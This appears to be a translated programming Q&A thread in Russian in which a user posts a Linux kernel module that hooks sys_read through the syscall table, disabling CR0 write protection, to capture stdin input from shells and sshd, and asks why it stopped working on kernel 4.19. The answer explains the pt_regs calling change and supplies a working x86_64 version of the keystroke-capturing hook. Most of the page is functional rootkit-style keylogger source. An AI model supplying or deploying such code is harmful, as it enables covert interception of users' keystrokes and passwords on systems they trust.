Выделение памяти в новых ядрах Linux или как? - PullRequest
4 голосов
/ 06 марта 2019

Этот мой модуль отлично угоняет консоль пользователя: https://pastebin.com/99YJFnaq

И это было ядро ​​Linux 4.12, Kali 2018.1.

Теперь я установил последнюю версию Kali - 2019.1.Он использует ядро ​​4.19:

Linux kali 4.19.0-kali1-amd64 # 1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU / Linux

Я пытаюсь что-то поймать, но в потоке ничего с fd == 0 не существует.


Я долго гуглял, пытался прочитать changelogs на разных ресурсах...

Я нашел такой модуль kpti, который, вероятно, будет делать что-то подобное, но этот модуль не установлен в Kali 2019.1.

Пожалуйста, помогите мне найти точную причинупочему hacked_read в этом фрагменте кода перестал слышать sys_read():

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli \n"
        "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded\n" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded\n" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

Makefile:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

Я уверен, что все как прежде продолжает вызывать sys_read().tee, bash, vi - все это невозможно изменить за такой короткий период, но linux-kernel.

Я буду признателен за код с обходом.

1 Ответ

2 голосов
/ 15 марта 2019

Немного устранения неисправностей показывает следующее:

  • Конечно, ни одна из пользовательских программ не перестала использовать read(). Они все еще продолжают это называть.
  • Нет "изоляции памяти". Таблица системных вызовов успешно модифицируется во время инициализации модуля, и указатель на sys_read() успешно заменяется указателем на hacked_read_test().
  • Когда модуль загружен, системный вызов read() работает так, как если бы он был исходным.
  • Изменение поведения произошло между ядрами 4.16 и 4.16.2 (то есть между 1 апреля 2018 и 12 апреля 2018 ).

Учитывая это, у нас есть довольно узкий список коммитов для проверки, и изменения, скорее всего, будут внесены в механизм системных вызовов. Ну, похоже, этот коммит - это то, что мы ищем (и еще немного).

Важной частью этого коммита является то, что он изменяет сигнатуры функций, определенных SYSCALL_DEFINEx, так что они принимают указатель на struct pt_regs вместо аргументов syscall, то есть sys_read(unsigned int fd, char __user * buf, size_t count) становится sys_read(const struct pt_regs *regs) , Это означает, что hacked_read_test(unsigned int fd, char *buf, size_t count) больше не является действительной заменой sys_read()!

Итак, с новыми ядрами вы заменяете sys_read(const struct pt_regs *regs) на hacked_read_test(unsigned int fd, char *buf, size_t count). Почему это не приводит к сбою, а вместо этого работает так, как если бы это был оригинальный sys_read()? Рассмотрим упрощенную версию hacked_read_test() еще раз:

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    if ( fd != 0 ) {
        return original_read( fd, buf, count );
    } else {
        // ...
    }
}

Хорошо. Первый аргумент функции передается через регистр %rdi. Вызывающий sys_read() помещает указатель на struct pt_regs в %rdi и выполняет вызов. Поток выполнения идет внутрь hacked_read_test(), и первый аргумент fd проверяется на отсутствие нуля . Учитывая, что этот аргумент содержит действительный указатель вместо дескриптора файла, это условие выполняется успешно, и поток управления переходит непосредственно к original_read(), который получает значение fd (т.е. фактически указатель на struct pt_regs) в качестве первого аргумента , который, в свою очередь, затем успешно используется, как и предполагалось. Итак, поскольку ядро ​​4.16.2 ваше hacked_read_test() эффективно работает следующим образом:

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    return original_read( regs );
}

Чтобы убедиться в этом, вы можете попробовать альтернативную версию hacked_read_test():

unsigned long hacked_read_test( void *ptr ) {    
    if ( ptr != 0 ) {
        info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
        return original_read( ptr );
    } else {
        return -EINVAL;
    }
}

После компиляции и insmod этой версии вы получаете следующее:

invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)

Вы можете создать рабочую версию hacked_read_test(), но кажется, что реализация будет зависеть от платформы, так как вам придется извлечь аргументы из соответствующих полей регистра regs (для x86_84 это %rdi, %rsi и %rdx для 1-го, 2-го и 3-го аргументов системного вызова соответственно).

Ниже приведена рабочая x86_64 реализация (проверено на ядре 4.19).

#include <asm/ptrace.h>

// ...

unsigned long ( *original_read ) ( const struct pt_regs *regs );

// ...

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned int fd = regs->di;
    char *buf = (char*) regs->si;
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( regs );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( regs );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}
...